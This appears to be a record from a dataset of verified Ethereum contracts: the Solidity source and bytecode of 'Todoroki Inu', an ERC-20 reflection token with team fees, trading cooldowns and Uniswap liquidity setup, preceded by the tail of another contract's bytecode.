ae96031913960400191505060405180910390fd5b6108de8484846112d7565b5061096e82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b601281565b60025481565b60056020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb48f42c7a4b7d66b43c8fccc1aafdac7c8ca6d024c15bb1d427d547f0002438060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b6000600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cc130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836112d7565b50600191505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600454811115610ded576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611abf602a913960400191505060405180910390fd5b806003819055507f38e229a7f3f9c329892d08eb37c4e91ccac6d12c798d394990ca4f56028ec266816040518082815260200191505060405180910390a150565b6040518060400160405280600481526020017f4c594e430000000000000000000000000000000000000000000000000000000081525081565b6000610e743384846112d7565b506001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611b1a6030913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f172da71f1c616b61d83038d9d8679e9f8592d8405647a400b24bf1852cecaed760405160405180910390a350565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611a1c6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b4a6022913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a456028913960400191505060405180910390fd5b600061139b606461138d6003548661173d90919063ffffffff16565b6117c390919063ffffffff16565b90506113ef83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149661144882856116f390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154d8160056000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b60056000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61161484876116f390919063ffffffff16565b6040518082815260200191505060405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f1c550965e5c4f41e1ff902e4c375e816025f4300aace5382db30900f650dd992836040518082815260200191505060405180910390a160019150509392505050565b600061173583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611895565b905092915050565b60008083141561175057600090506117bd565b600082840290508284828161176157fe5b04146117b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a9e6021913960400191505060405180910390fd5b809150505b92915050565b600061180583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611955565b905092915050565b60008082840190508381101561188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119075780820151818401526020810190506118ec565b50505050905090810190601f1680156119345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c65780820151818401526020810190506119ab565b50505050905090810190601f1680156119f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a0d57fe5b04905080915050939250505056fe4f6e6c792063757272656e74206f776e65722063616e2063616c6c20746869732066756e6374696f6e4e6f7420656e6f75676820746f6b656e7320696e207468652073656e646572732062616c616e63654e6f7420656e6f75676820746f6b656e7320696e2074686520617070726f76656420616464726573732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e73616374696f6e206665652063616e6e6f742062652067726561746572207468616e20313025746f6b656e20616d6f756e74206973206c6172676572207468616e207468652063757272656e7420616c6c6f77616e63654e65772072657761726420706f6f6c20616464726573732063616e6e6f742062652061207a65726f20616464726573734e6577206f776e65722063616e6e6f742062652061207a65726f2061646472657373a26469706673582212203dbf8fb3de6950e96f80926555ac2edc89d355bb8d01cb3ae65bffb687c2a94f64736f6c63430007010033
{"success": true, "error": null, "results": {}}
2,713
0x8493Ac78d1542198AAc1B3f0dF14A9B003b5c59F
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Todoroki is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e14 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Todoroki Inu"; string private constant _symbol = unicode"Todoroki Inu"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _feeRate = 10; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 9; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 500000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (900 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610344578063c3c8cd8014610364578063c9567bf914610379578063db92dbb61461038e578063dd62ed3e146103a3578063e8078d94146103e957600080fd5b8063715018a6146102c85780638da5cb5b146102dd57806395d89b4114610145578063a9059cbb14610305578063a985ceef1461032557600080fd5b8063313ce567116100fd578063313ce5671461021557806345596e2e146102315780635932ead11461025357806368a3a6a5146102735780636fc3eaec1461029357806370a08231146102a857600080fd5b806306fdde0314610145578063095ea7b31461018957806318160ddd146101b957806323b872dd146101e057806327f3a72a1461020057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600c81526b546f646f726f6b6920496e7560a01b602082015290516101809190611a2b565b60405180910390f35b34801561019557600080fd5b506101a96101a4366004611983565b6103fe565b6040519015158152602001610180565b3480156101c557600080fd5b5069152d02c7e14af68000005b604051908152602001610180565b3480156101ec57600080fd5b506101a96101fb366004611943565b610415565b34801561020c57600080fd5b506101d261047e565b34801561022157600080fd5b5060405160098152602001610180565b34801561023d57600080fd5b5061025161024c3660046119e6565b61048e565b005b34801561025f57600080fd5b5061025161026e3660046119ae565b610537565b34801561027f57600080fd5b506101d261028e3660046118d3565b6105b6565b34801561029f57600080fd5b506102516105d9565b3480156102b457600080fd5b506101d26102c33660046118d3565b610606565b3480156102d457600080fd5b50610251610628565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610180565b34801561031157600080fd5b506101a9610320366004611983565b61069c565b34801561033157600080fd5b50601354600160a81b900460ff166101a9565b34801561035057600080fd5b506101d261035f3660046118d3565b6106a9565b34801561037057600080fd5b506102516106cf565b34801561038557600080fd5b50610251610705565b34801561039a57600080fd5b506101d2610753565b3480156103af57600080fd5b506101d26103be36600461190b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f557600080fd5b5061025161076b565b600061040b338484610b20565b5060015b92915050565b6000610422848484610c44565b610474843361046f85604051806060016040528060288152602001611bcb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611182565b610b20565b5060019392505050565b600061048930610606565b905090565b6011546001600160a01b0316336001600160a01b0316146104ae57600080fd5b603381106104fb5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105615760405162461bcd60e51b81526004016104f290611a7e565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161052c565b6001600160a01b03811660009081526006602052604081205461040f9042611b7a565b6011546001600160a01b0316336001600160a01b0316146105f957600080fd5b47610603816111bc565b50565b6001600160a01b03811660009081526002602052604081205461040f906111f6565b6000546001600160a01b031633146106525760405162461bcd60e51b81526004016104f290611a7e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061040b338484610c44565b6001600160a01b03811660009081526006602052604081206001015461040f9042611b7a565b6011546001600160a01b0316336001600160a01b0316146106ef57600080fd5b60006106fa30610606565b90506106038161127a565b6000546001600160a01b0316331461072f5760405162461bcd60e51b81526004016104f290611a7e565b6013805460ff60a01b1916600160a01b17905561074e42610384611b23565b601455565b601354600090610489906001600160a01b0316610606565b6000546001600160a01b031633146107955760405162461bcd60e51b81526004016104f290611a7e565b601354600160a01b900460ff16156107ef5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082d308269152d02c7e14af6800000610b20565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086657600080fd5b505afa15801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906118ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e657600080fd5b505afa1580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e91906118ef565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096657600080fd5b505af115801561097a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099e91906118ef565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109ce81610606565b6000806109e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7f91906119fe565b5050681b1ae4d6e2ef5000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ae457600080fd5b505af1158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c91906119ca565b5050565b6001600160a01b038316610b825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f2565b6001600160a01b038216610be35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f2565b6001600160a01b038216610d0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f2565b60008111610d6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f2565b6000546001600160a01b03848116911614801590610d9857506000546001600160a01b03838116911614155b1561112557601354600160a81b900460ff1615610e18573360009081526006602052604090206002015460ff16610e1857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e4357506012546001600160a01b03838116911614155b8015610e6857506001600160a01b03821660009081526005602052604090205460ff16155b15610fc757601354600160a01b900460ff16610ec65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104f2565b6009600a55601354600160a81b900460ff1615610f8d57426014541115610f8d57601054811115610ef657600080fd5b6001600160a01b0382166000908152600660205260409020544211610f685760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104f2565b610f7342602d611b23565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fc757610faa42600f611b23565b6001600160a01b0383166000908152600660205260409020600101555b6000610fd230610606565b601354909150600160b01b900460ff16158015610ffd57506013546001600160a01b03858116911614155b80156110125750601354600160a01b900460ff165b15611123576009600a55601354600160a81b900460ff16156110a4576001600160a01b03841660009081526006602052604090206001015442116110a45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104f2565b801561111157600b546013546110da916064916110d491906110ce906001600160a01b0316610606565b9061141f565b9061149e565b81111561110857600b54601354611105916064916110d491906110ce906001600160a01b0316610606565b90505b6111118161127a565b47801561112157611121476111bc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061116757506001600160a01b03831660009081526005602052604090205460ff165b15611170575060005b61117c848484846114e0565b50505050565b600081848411156111a65760405162461bcd60e51b81526004016104f29190611a2b565b5060006111b38486611b7a565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b1c573d6000803e3d6000fd5b600060075482111561125d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f2565b600061126761150e565b9050611273838261149e565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561132457600080fd5b505afa158015611338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135c91906118ef565b8160018151811061137d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113a39130911684610b20565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113dc908590600090869030904290600401611ab3565b600060405180830381600087803b1580156113f657600080fd5b505af115801561140a573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b60008261142e5750600061040f565b600061143a8385611b5b565b9050826114478583611b3b565b146112735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f2565b600061127383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611531565b806114ed576114ed61155f565b6114f884848461158d565b8061117c5761117c600e54600955600f54600a55565b600080600061151b611684565b909250905061152a828261149e565b9250505090565b600081836115525760405162461bcd60e51b81526004016104f29190611a2b565b5060006111b38486611b3b565b60095415801561156f5750600a54155b1561157657565b60098054600e55600a8054600f5560009182905555565b60008060008060008061159f876116c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115d19087611725565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116009086611767565b6001600160a01b038916600090